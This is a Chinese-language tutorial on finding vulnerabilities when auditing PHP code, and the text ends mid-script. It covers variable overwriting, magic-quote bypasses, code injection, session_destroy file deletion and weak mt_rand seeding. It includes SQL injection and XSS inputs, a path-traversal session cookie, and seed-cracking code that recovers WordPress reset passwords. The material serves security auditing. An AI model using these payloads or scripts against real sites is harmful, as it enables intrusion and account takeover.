[目錄]
1. 前言
2. 傳統(tǒng)的代碼審計(jì)技術(shù)
3. PHP版本與應(yīng)用代碼審計(jì)
4. 其他的因素與應(yīng)用代碼審計(jì)
5. 擴(kuò)展我們的字典
5.1 變量本身的key
5.2 變量覆蓋
5.2.1 遍歷初始化變量
5.2.2 parse_str()變量覆蓋漏洞
5.2.3 import_request_variables()變量覆蓋漏洞
5.2.4 PHP5 Globals
5.3 magic_quotes_gpc與代碼安全
5.3.1 什么是magic_quotes_gpc
5.3.2 哪些地方?jīng)]有魔術(shù)引號的保護(hù)
5.3.3 變量的編碼與解碼
5.3.4 二次攻擊
5.3.5 魔術(shù)引號帶來的新的安全問題
5.3.6 變量key與魔術(shù)引號
5.4 代碼注射
5.4.1 PHP中可能導(dǎo)致代碼注射的函數(shù)
5.4.2 變量函數(shù)與雙引號
5.5 PHP自身函數(shù)漏洞及缺陷
5.5.1 PHP函數(shù)的溢出漏洞
5.5.2 PHP函數(shù)的其他漏洞
5.5.3 session_destroy()刪除文件漏洞
5.5.4 隨機(jī)函數(shù)
5.6 特殊字符
5.6.1 截?cái)?br />
5.6.1.1 include截?cái)?br />
5.6.1.2 數(shù)據(jù)截?cái)?br />
5.6.1.3 文件操作里的特殊字符
6. 怎么進(jìn)一步尋找新的字典
7. DEMO
8. 后話
9. 附錄
一、前言
PHP是一種被廣泛使用的腳本語言，尤其適合于web開發(fā)。具有跨平臺，容易學(xué)習(xí)，功能強(qiáng)
大等特點(diǎn)，據(jù)統(tǒng)計(jì)全世界有超過34%的網(wǎng)站有php的應(yīng)用，包括Yahoo、sina、163、sohu等大型
門戶網(wǎng)站。而且很多具名的web應(yīng)用系統(tǒng)（包括bbs,blog,wiki,cms等等）都是使用php開發(fā)的，
Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。隨著web安全的熱點(diǎn)升級，php應(yīng)
用程序的代碼安全問題也逐步興盛起來，越來越多的安全人員投入到這個(gè)領(lǐng)域，越來越多的應(yīng)
用程序代碼漏洞被披露。針對這樣一個(gè)狀況，很多應(yīng)用程序的官方都成立了安全部門，或者雇
傭安全人員進(jìn)行代碼審計(jì)，因此出現(xiàn)了很多自動(dòng)化商業(yè)化的代碼審計(jì)工具。也就是這樣的形
勢導(dǎo)致了一個(gè)局面：大公司的產(chǎn)品安全系數(shù)大大的提高，那些很明顯的漏洞基本滅絕了，那些
大家都知道的審計(jì)技術(shù)都無用武之地了。我們面對很多工具以及大牛掃描過n遍的代碼，有很
多的安全人員有點(diǎn)悲觀，而有的官方安全人員也非常的放心自己的代碼，但是不要忘記了“沒
有絕對的安全”，我們應(yīng)該去尋找新的途徑挖掘新的漏洞。本文就給介紹了一些非傳統(tǒng)的技術(shù)
經(jīng)驗(yàn)和大家分享。
另外在這里特別說明一下本文里面很多漏洞都是來源于網(wǎng)絡(luò)上牛人和朋友們的分享，在
這里需要感謝他們，：）
二、傳統(tǒng)的代碼審計(jì)技術(shù)
WEB應(yīng)用程序漏洞查找基本上是圍繞兩個(gè)元素展開：變量與函數(shù)。也就是說一漏洞的利用
必須把你提交的惡意代碼通過變量經(jīng)過n次變量轉(zhuǎn)換傳遞，最終傳遞給目標(biāo)函數(shù)執(zhí)行，還記得
MS那句經(jīng)典的名言嗎？“一切輸入都是有害的”。這句話只強(qiáng)調(diào)了變量輸入，很多程序員把“輸
入”理解為只是gpc[$_GET,$_POST,$_COOKIE]，但是變量在傳遞過程產(chǎn)生了n多的變化。導(dǎo)致
很多過濾只是個(gè)“紙老虎”！我們換句話來描敘下代碼安全：“一切進(jìn)入函數(shù)的變量是有害的”。
PHP代碼審計(jì)技術(shù)用的最多也是目前的主力方法：靜態(tài)分析，主要也是通過查找容易導(dǎo)致
安全漏洞的危險(xiǎn)函數(shù)，常用的如grep，findstr等搜索工具，很多自動(dòng)化工具也是使用正則來搜
索這些函數(shù)。下面列舉一些常用的函數(shù)，也就是下文說的字典（暫略）。但是目前基本已有的
字典很難找到漏洞，所以我們需要擴(kuò)展我們的字典，這些字典也是本文主要探討的。
其他的方法有：通過修改PHP源代碼來分析變量流程，或者h(yuǎn)ook危險(xiǎn)的函數(shù)來實(shí)現(xiàn)對應(yīng)用
程序代碼的審核，但是這些也依靠了我們上面提到的字典。
三、PHP版本與應(yīng)用代碼審計(jì)
到目前為止，PHP主要有3個(gè)版本：php4、php5、php6，使用比例大致如下：
php4 68%
2000-2007，No security fixes after 2008/08，最終版本是php4.4.9
php5 32%
2004-present，Now at version 5.2.6（PHP 5.3 alpha1 released!）
php6
目前還在測試階段，變化很多做了大量的修改，取消了很多安全選項(xiàng)如magic_quotes_gpc。
（這個(gè)不是今天討論的范圍）
由于php缺少自動(dòng)升級的機(jī)制，導(dǎo)致目前PHP版本并存，也導(dǎo)致很多存在漏洞沒有被修補(bǔ)。
這些有漏洞的函數(shù)也是我們進(jìn)行WEB應(yīng)用程序代碼審計(jì)的重點(diǎn)對象，也是我們字典重要來源。
四、其他的因素與應(yīng)用代碼審計(jì)
很多代碼審計(jì)者拿到代碼就看，他們忽視了“安全是一個(gè)整體”，代碼安全很多的其他因素
有關(guān)系，比如上面我們談到的PHP版本的問題，比較重要的還有操作系統(tǒng)類型（主要是兩大陣營
win/*nix），WEB服務(wù)端軟件（主要是iis/apache兩大類型）等因素。這是由于不同的系統(tǒng)不同
的WEB SERVER有著不同的安全特點(diǎn)或特性，下文有些部分會(huì)涉及。
所以我們在做某個(gè)公司W(wǎng)EB應(yīng)用代碼審計(jì)時(shí)，應(yīng)該了解他們使用的系統(tǒng)，WEB服務(wù)端軟件，
PHP版本等信息。
五、擴(kuò)展我們的字典
下面將詳細(xì)介紹一些非傳統(tǒng)PHP應(yīng)用代碼審計(jì)一些漏洞類型和利用技巧。
5.1 變量本身的key
說到變量的提交很多人只是看到了GET/POST/COOKIE等提交的變量的值，但是忘記了有的
程序把變量本身的key也當(dāng)變量提取給函數(shù)處理。
--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
-------------------------------------------------------------------------------
上面的代碼就提取了變量本身的key顯示出來，單純對于上面的代碼，如果我們提交URL：
--code-------------------------------------------------------------------------
key.php?<script>alert(1);</script>=1&bbb=2
-------------------------------------------------------------------------------
那么就導(dǎo)致一個(gè)xss的漏洞，擴(kuò)展一下如果這個(gè)key提交給include()等函數(shù)或者sql查詢
呢？：）
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：通讀代碼
+++++++++++++++++++++++++
5.2 變量覆蓋（variable-overwrite）
很多的漏洞查找者都知道extract()這個(gè)函數(shù)在指定參數(shù)為EXTR_OVERWRITE或者沒有指
定函數(shù)可以導(dǎo)致變量覆蓋，但是還有很多其他情況導(dǎo)致變量覆蓋的如：
5.2.1 遍歷初始化變量
請看如下代碼：
--code-------------------------------------------------------------------------
<?php
//var.php?a=fuck
$a='hi';
foreach($_GET as $key => $value) {
$$key = $value;
}
print $a;
?>
-------------------------------------------------------------------------------
很多的WEB應(yīng)用都使用上面的方式（注意循環(huán)不一定是foreach），如Discuz!4.1的WAP部分
的代碼：
--code-------------------------------------------------------------------------
$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = $chs->Convert($value);
}
unset($chs);
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：通讀代碼
+++++++++++++++++++++++++
5.2.2 parse_str()變量覆蓋漏洞（CVE-2007-3205）、mb_parse_str()
--code-------------------------------------------------------------------------
//var.php?var=new
$var = 'init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
-------------------------------------------------------------------------------
該函數(shù)一樣可以覆蓋數(shù)組變量，上面的代碼是通過$_SERVER['QUERY_STRING']來提取變
量的，對于指定了變量名的我們可以通過注射“=”來實(shí)現(xiàn)覆蓋其他的變量：
--code-------------------------------------------------------------------------
//var.php?var=1&a[1]=var1%3d222
$var1 = 'init';
parse_str($a[$_GET['var']]);
print $var1;
-------------------------------------------------------------------------------
上面的代碼通過提交$var來實(shí)現(xiàn)對$var1的覆蓋。
+++++++++++++++++++++++++
漏洞審計(jì)策略（parse_str）
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：查找字符parse_str
+++++++++++++++++++++++++
+++++++++++++++++++++++++
漏洞審計(jì)策略（mb_parse_str）
-------------------------
PHP版本要求：php4<4.4.7 php5<5.2.2
系統(tǒng)要求：無
審計(jì)策略：查找字符mb_parse_str
+++++++++++++++++++++++++
5.2.3 import_request_variables()變量覆蓋漏洞（CVE-2007-1396）
--code-------------------------------------------------------------------------
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞審計(jì)策略（import_request_variables）
-------------------------
PHP版本要求：php4<4.4.1 php5<5.2.2
系統(tǒng)要求：無
審計(jì)策略：查找字符import_request_variables
+++++++++++++++++++++++++
5.2.4 PHP5 Globals
從嚴(yán)格意義上來說這個(gè)不可以算是PHP的漏洞，只能算是一個(gè)特性，測試代碼：
--code-------------------------------------------------------------------------
<?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar;
?>
-------------------------------------------------------------------------------
但是很多的程序沒有考慮到這點(diǎn)，請看如下代碼：
--code-------------------------------------------------------------------------
//為了安全取消全局變量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
-------------------------------------------------------------------------------
如果熟悉WEB2.0的攻擊的同學(xué)，很容易想到上面的代碼我們可以利用這個(gè)特性進(jìn)行crsf
攻擊。
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：通讀代碼
+++++++++++++++++++++++++
5.3 magic_quotes_gpc與代碼安全
5.3.1 什么是magic_quotes_gpc
當(dāng)打開時(shí)，所有的 '（單引號），"（雙引號），\（反斜線）和 NULL 字符都會(huì)被自動(dòng)加上一個(gè)
反斜線進(jìn)行轉(zhuǎn)義。還有很多函數(shù)有類似的作用 如：addslashes()、mysql_escape_string()、
mysql_real_escape_string()等，另外還有parse_str()后的變量也受magic_quotes_gpc的影
響。目前大多數(shù)的主機(jī)都打開了這個(gè)選項(xiàng)，并且很多程序員也注意使用上面那些函數(shù)去過濾
變量，這看上去很安全。很多漏洞查找者或者工具遇到些函數(shù)過濾后的變量直接就放棄，但是
就在他們放棄的同時(shí)也放過很多致命的安全漏洞。 ：）
5.3.2 哪些地方?jīng)]有魔術(shù)引號的保護(hù)
1) $_SERVER變量
PHP5的$_SERVER變量缺少magic_quotes_gpc的保護(hù)，導(dǎo)致近年來X-Forwarded-For的漏洞
猛暴，所以很多程序員考慮過濾X-Forwarded-For，但是其他的變量呢？
+++++++++++++++++++++++++
漏洞審計(jì)策略（$_SERVER變量）
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：查找字符_SERVER
+++++++++++++++++++++++++
2) getenv()得到的變量（使用類似$_SERVER變量）
+++++++++++++++++++++++++
漏洞審計(jì)策略（getenv()）
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：查找字符getenv
+++++++++++++++++++++++++
3) $HTTP_RAW_POST_DATA與PHP輸入、輸出流
主要應(yīng)用與soap/xmlrpc/webpublish功能里，請看如下代碼：
--code-------------------------------------------------------------------------
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞審計(jì)策略（數(shù)據(jù)流）
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：查找字符HTTP_RAW_POST_DATA或者php://input
+++++++++++++++++++++++++
4) 數(shù)據(jù)庫操作容易忘記'的地方如：in()/limit/order by/group by
如Discuz!<5.0的pm.php：
--code-------------------------------------------------------------------------
if(is_array($msgtobuddys)) {
$msgto = array_merge($msgtobuddys, array($msgtoid));
......
foreach($msgto as $uid) {
$uids .= $comma.$uid;
$comma = ',';
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
LEFT JOIN {$tablepre}memberfields mf USING(uid)
WHERE m.uid IN ($uids)");
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：查找數(shù)據(jù)庫操作字符（select,update,insert等等）
+++++++++++++++++++++++++
5.3.3 變量的編碼與解碼
一個(gè)WEB程序很多功能的實(shí)現(xiàn)都需要變量的編碼解碼，而且就在這一轉(zhuǎn)一解的傳遞過程中
就悄悄的繞過你的過濾的安全防線。
這個(gè)類型的主要函數(shù)有：
1) stripslashes() 這個(gè)其實(shí)就是一個(gè)decode-addslashes()
2) 其他字符串轉(zhuǎn)換函數(shù)：
base64_decode -- 對使用 MIME base64 編碼的數(shù)據(jù)進(jìn)行解碼
base64_encode -- 使用 MIME base64 對數(shù)據(jù)進(jìn)行編碼
rawurldecode -- 對已編碼的 URL 字符串進(jìn)行解碼
rawurlencode -- 按照 RFC 1738 對 URL 進(jìn)行編碼
urldecode -- 解碼已編碼的 URL 字符串
urlencode -- 編碼 URL 字符串
......
（另外一個(gè) unserialize/serialize）
3) 字符集函數(shù)（GKB,UTF7/8...）如iconv()/mb_convert_encoding()等
目前很多漏洞挖掘者開始注意這一類型的漏洞了，如典型的urldecode：
--code-------------------------------------------------------------------------
$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
-------------------------------------------------------------------------------
當(dāng)magic_quotes_gpc=on時(shí)，我們提交?id=%2527，得到sql語句為：
--code-------------------------------------------------------------------------
SELECT * FROM article WHERE articleid='''
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：查找對應(yīng)的編碼函數(shù)
+++++++++++++++++++++++++
5.3.4 二次攻擊（詳細(xì)見附錄[1]）
1) 數(shù)據(jù)庫出來的變量沒有進(jìn)行過濾
2) 數(shù)據(jù)庫的轉(zhuǎn)義符號：
* mysql/oracle轉(zhuǎn)義符號同樣是\（我們提交'通過魔術(shù)引號變化為\'，當(dāng)我們update進(jìn)入數(shù)
據(jù)庫時(shí)，通過轉(zhuǎn)義變?yōu)?）
* mssql的轉(zhuǎn)義字符為'（所以我們提交'通過魔術(shù)引號變化為\'，mssql會(huì)把它當(dāng)為一個(gè)字符
串直接處理，所以魔術(shù)引號對于mssql的注射沒有任何意義）
從這里我們可以思考得到一個(gè)結(jié)論：一切進(jìn)入函數(shù)的變量都是有害的，另外利用二次攻擊
我們可以實(shí)現(xiàn)一個(gè)webrootkit，把我們的惡意構(gòu)造直接放到數(shù)據(jù)庫里。我們應(yīng)當(dāng)把這樣的代
碼看成一個(gè)vul？
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：通讀代碼
+++++++++++++++++++++++++
5.3.5 魔術(shù)引號帶來的新的安全問題
首先我們看下魔術(shù)引號的處理機(jī)制：
[\-->\\,'-->\',"-->\",null-->\0]
這給我們引進(jìn)了一個(gè)非常有用的符號“\”，“\”符號不僅僅是轉(zhuǎn)義符號，在WIN系統(tǒng)下也是
目錄轉(zhuǎn)跳的符號。這個(gè)特點(diǎn)可能導(dǎo)致php應(yīng)用程序里產(chǎn)生非常有意思的漏洞：
1) 得到原字符（',\,",null]）
--code-------------------------------------------------------------------------
$order_sn=substr($_GET['order_sn'], 1);
//提交 '
//魔術(shù)引號處理 \'
//substr '
$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table('order_info').
" WHERE order_sn = '$order_sn' LIMIT 1";
-------------------------------------------------------------------------------
2) 得到“\”字符
--code-------------------------------------------------------------------------
$order_sn=substr($_GET['order_sn'], 0,1);
//提交 '
//魔術(shù)引號處理 \'
//substr \
$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table('order_info').
" WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
-------------------------------------------------------------------------------
提交內(nèi)容：
--code-------------------------------------------------------------------------
?order_sn='&order_tn=%20and%201=1/*
-------------------------------------------------------------------------------
執(zhí)行的SQL語句為：
--code-------------------------------------------------------------------------
SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and
order_tn=' and 1=1/*'
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：查找字符串處理函數(shù)如substr或者通讀代碼
+++++++++++++++++++++++++
5.3.6 變量key與魔術(shù)引號
我們最在這一節(jié)的開頭就提到了變量key，PHP的魔術(shù)引號對它有什么影響呢？
--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>
-------------------------------------------------------------------------------
1) 當(dāng)magic_quotes_gpc = On時(shí)，在php5.24下測試顯示：
aaaa\'aaa
bb\'b
從上面結(jié)果可以看出來，在設(shè)置了magic_quotes_gpc = On下，變量key受魔術(shù)引號影響。
但是在php4和php<5.2.1的版本中，不處理數(shù)組第一維變量的key，測試代碼如下：
--code-------------------------------------------------------------------------
<?php
//key.php?aaaa'aaa[bb']=1
print_R($_GET);
?>
-------------------------------------------------------------------------------
結(jié)果顯示:
Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )
數(shù)組第一維變量的key不受魔術(shù)引號的影響。
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：php4和php<5.2.1
系統(tǒng)要求：無
審計(jì)策略：通讀代碼
+++++++++++++++++++++++++
2) 當(dāng)magic_quotes_gpc = Off時(shí)，在php5.24下測試顯示：
aaaa'aaa
bb'b
對于magic_quotes_gpc = Off時(shí)所有的變量都是不安全的，考慮到這個(gè)，很多程序都通過
addslashes等函數(shù)來實(shí)現(xiàn)魔術(shù)引號對變量的過濾，示例代碼如下：
--code-------------------------------------------------------------------------
<?php
//keyvul.php?aaa'aa=1'
//magic_quotes_gpc = Off
if (!get_magic_quotes_gpc())
{
$_GET = addslashes_array($_GET);
}
function addslashes_array($value)
{
return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
}
print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key;
}
?>
-------------------------------------------------------------------------------
以上的代碼看上去很完美，但是他這個(gè)代碼里addslashes($value)只處理了變量的具體
的值，但是沒有處理變量本身的key，上面的代碼顯示結(jié)果如下：
Array
(
[aaa'aa] => 1\'
)
aaa'aa
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：通讀代碼
+++++++++++++++++++++++++
5.4 代碼注射
5.4.1 PHP中可能導(dǎo)致代碼注射的函數(shù)
很多人都知道eval、preg_replace+/e可以執(zhí)行代碼，但是不知道php還有很多的函數(shù)可
以執(zhí)行代碼如：
assert()
call_user_func()
call_user_func_array()
create_function()
變量函數(shù)
...
這里我們看看最近出現(xiàn)的幾個(gè)關(guān)于create_function()代碼執(zhí)行漏洞的代碼：
--code-------------------------------------------------------------------------
<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
';
usort($databases, create_function('$a, $b', $sort_function));
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：查找對應(yīng)函數(shù)（assert,call_user_func,call_user_func_array,create_function等）
+++++++++++++++++++++++++
5.4.2 變量函數(shù)與雙引號
對于單引號和雙引號的區(qū)別，很多程序員深有體會(huì)，示例代碼：
--code-------------------------------------------------------------------------
echo "$a\n";
echo '$a\n';
-------------------------------------------------------------------------------
我們再看如下代碼：
--code-------------------------------------------------------------------------
//how to exp this code
if($globals['bbc_email']){
$text = preg_replace(
array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
"/\[email\](.*?)\[\/email\]/ies"),
array('check_email("$1", "$2")',
'check_email("$1", "$1")'), $text);
-------------------------------------------------------------------------------
另外很多的應(yīng)用程序都把變量用""存放在緩存文件或者config或者data文件里，這樣很
容易被人注射變量函數(shù)。
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：通讀代碼
+++++++++++++++++++++++++
5.5 PHP自身函數(shù)漏洞及缺陷
5.5.1 PHP函數(shù)的溢出漏洞
大家還記得Stefan Esser大牛的Month of PHP Bugs（MOPB見附錄[2]）項(xiàng)目么，其中比較
有名的要算是unserialize()，代碼如下：
--code-------------------------------------------------------------------------
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
-------------------------------------------------------------------------------
在以往的PHP版本里，很多函數(shù)都曾經(jīng)出現(xiàn)過溢出漏洞，所以我們在審計(jì)應(yīng)用程序漏洞的
時(shí)候不要忘記了測試目標(biāo)使用的PHP版本信息。
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：對應(yīng)fix的版本
系統(tǒng)要求：
審計(jì)策略：查找對應(yīng)函數(shù)名
+++++++++++++++++++++++++
5.5.2 PHP函數(shù)的其他漏洞
Stefan Esser大牛發(fā)現(xiàn)的漏洞：unset()--Zend_Hash_Del_Key_Or_Index Vulnerability
比如phpwind早期的serarch.php里的代碼：
--code-------------------------------------------------------------------------
unset($uids);
......
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db->fetch_array($query)){
$uids .= $member['uid'].',';
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：php4<4.3 php5<5.14
系統(tǒng)要求：無
審計(jì)策略：查找unset
+++++++++++++++++++++++++
5.5.3 session_destroy()刪除文件漏洞（測試PHP版本：5.1.2）
這個(gè)漏洞是幾年前朋友saiy發(fā)現(xiàn)的，session_destroy()函數(shù)的功能是刪除session文件，
很多web應(yīng)用程序的logout的功能都直接調(diào)用這個(gè)函數(shù)刪除session，但是這個(gè)函數(shù)在一些老
的版本中缺少過濾導(dǎo)致可以刪除任意文件。測試代碼如下：
--code-------------------------------------------------------------------------
<?php
//val.php
session_save_path('./');
session_start();
if($_GET['del']) {
session_unset();
session_destroy();
}else{
$_SESSION['hei']=1;
echo(session_id());
print_r($_SESSION);
}
?>
-------------------------------------------------------------------------------
當(dāng)我們提交構(gòu)造cookie:PHPSESSID=/../1.php，相當(dāng)于unlink('sess_/../1.php')這樣
就通過注射../轉(zhuǎn)跳目錄刪除任意文件了。很多著名的程序某些版本都受影響如phpmyadmin，
sablog，phpwind3等等。
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：具體不詳
系統(tǒng)要求：無
審計(jì)策略：查找session_destroy
+++++++++++++++++++++++++
5.5.4 隨機(jī)函數(shù)
1) rand() VS mt_rand()
--code-------------------------------------------------------------------------
<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>
-------------------------------------------------------------------------------
可以看出rand()最大的隨機(jī)數(shù)是32767，這個(gè)很容易被我們暴力破解。
--code-------------------------------------------------------------------------
<?php
$a= md5(rand());
for($i=0;$i<=32767;$i++){
if(md5($i) ==$a ) {
print $i."-->ok!!<br>";exit;
}else { print $i."<br>";}
}
?>
-------------------------------------------------------------------------------
當(dāng)我們的程序使用rand處理session時(shí)，攻擊者很容易暴力破解出你的session，但是對于
mt_rand是很難單純的暴力的。
+++++++++++++++++++++++++
漏洞審計(jì)策略
-------------------------
PHP版本要求：無
系統(tǒng)要求：無
審計(jì)策略：查找rand
+++++++++++++++++++++++++
2) mt_srand()/srand()-weak seeding（by Stefan Esser）
看php手冊里的描述：
-------------------------------------------------------------------------------
mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)
mt_srand -- 播下一個(gè)更好的隨機(jī)數(shù)發(fā)生器種子
說明
void mt_srand ( int seed )
用 seed 來給隨機(jī)數(shù)發(fā)生器播種。從 PHP 4.2.0 版開始，seed 參數(shù)變?yōu)榭蛇x項(xiàng)，當(dāng)該項(xiàng)為空
時(shí)，會(huì)被設(shè)為隨時(shí)數(shù)。
例子 1. mt_srand() 范例
<?php
// seed with microseconds
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>
注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函數(shù)給隨機(jī)數(shù)發(fā)生器播種，現(xiàn)已
自動(dòng)完成。
-------------------------------------------------------------------------------
php從4.2.0開始實(shí)現(xiàn)了自動(dòng)播種，但是為了兼容，后來使用類似于這樣的代碼播種：
--code-------------------------------------------------------------------------
mt_srand ((double) microtime() * 1000000)
-------------------------------------------------------------------------------
但是使用(double)microtime()*1000000類似的代碼seed是比較脆弱的：
0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000
那么很容易暴力破解,測試代碼如下：
--code-------------------------------------------------------------------------
<?php
/////////////////
//>php rand.php
//828682
//828682
////////////////
ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."\n";
mt_srand ($time);
$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed++){
mt_srand($seed);
$key = mt_rand();
if($key==$rand_num) return $seed;
}
return false;
}
?>
-------------------------------------------------------------------------------
從上面的代碼實(shí)現(xiàn)了對seed的破解，另外根據(jù)Stefan Esser的分析seed還根據(jù)進(jìn)程變化
而變化，換句話來說同一個(gè)進(jìn)程里的seed是相同的。 然后同一個(gè)seed每次mt_rand的值都是
特定的。如下圖：
+--------------+
| seed-A |
+--------------+
| mt_rand-A-1 |
| mt_rand-A-2 |
| mt_rand-A-3 |
+--------------+
+--------------+
| seed-B |
+--------------+
| mt_rand-B-1 |
| mt_rand-B-2 |
| mt_rand-B-3 |
+--------------+
對于seed-A里mt_rand-1/2/3都是不相等的，但是值都是特定的，也就是說當(dāng)seed-A等于
seed-B，那么mt_rand-A-1就等于mt_rand-B-1…，這樣我們只要能夠得到seed就可以得到每次
mt_rand的值了。
對于5.2.6>php>4.2.0直接使用默認(rèn)播種的程序也是不安全的（很多的安全人員錯(cuò)誤的以
為這樣就是安全的），這個(gè)要分兩種情況來分析：
第一種：'Cross Application Attacks'，這個(gè)思路在Stefan Esser文章里有提到，主要是利用
其他程序定義的播種（如mt_srand ((double) microtime()* 1000000)），phpbb+wordpree組
合就存在這樣的危險(xiǎn).
第二種：5.2.6>php>4.2.0默認(rèn)播種的算法也不是很強(qiáng)悍，這是Stefan Esser的文章里的描述：
-------------------------------------------------------------------------------
The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5
<= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only
31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne
Twister was changed and the forced bit removed.
-------------------------------------------------------------------------------
在32位系統(tǒng)上默認(rèn)的播種的種子為最大值是2^32，這樣我們循環(huán)最多2^32次就可以破解
seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有個(gè)bug：奇數(shù)和偶數(shù)的播種是一樣的（詳見附錄
[3]）,測試代碼如下：
--code-------------------------------------------------------------------------
<?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."\n".$b;
?>
-------------------------------------------------------------------------------
通過上面的代碼發(fā)現(xiàn)$a==$b，所以我們循環(huán)的次數(shù)為2^32/2=2^31次。我們看如下代碼：
--code-------------------------------------------------------------------------
<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0
define('BUGGY', 1); //上面代碼$a==$b時(shí)候定義BUGGY=1
$key = wp_generate_password(20, false);
echo $key."\n";
$seed = getseed($key);
print $seed."\n";
mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n";
function wp_generate_password($length = 12, $special_chars = true) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ( $special_chars )
$chars .= '!@#$%^&*()';
$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
return $password;
}
function getseed($resetkey) {
$max = pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++) {
$seed = BUGGY ? ($x << 1) + 1 : $x;
mt_srand($seed);
$testkey = wp_generate_password(20,false);
if($testkey==$resetkey) { echo "o\n"; return $seed; }
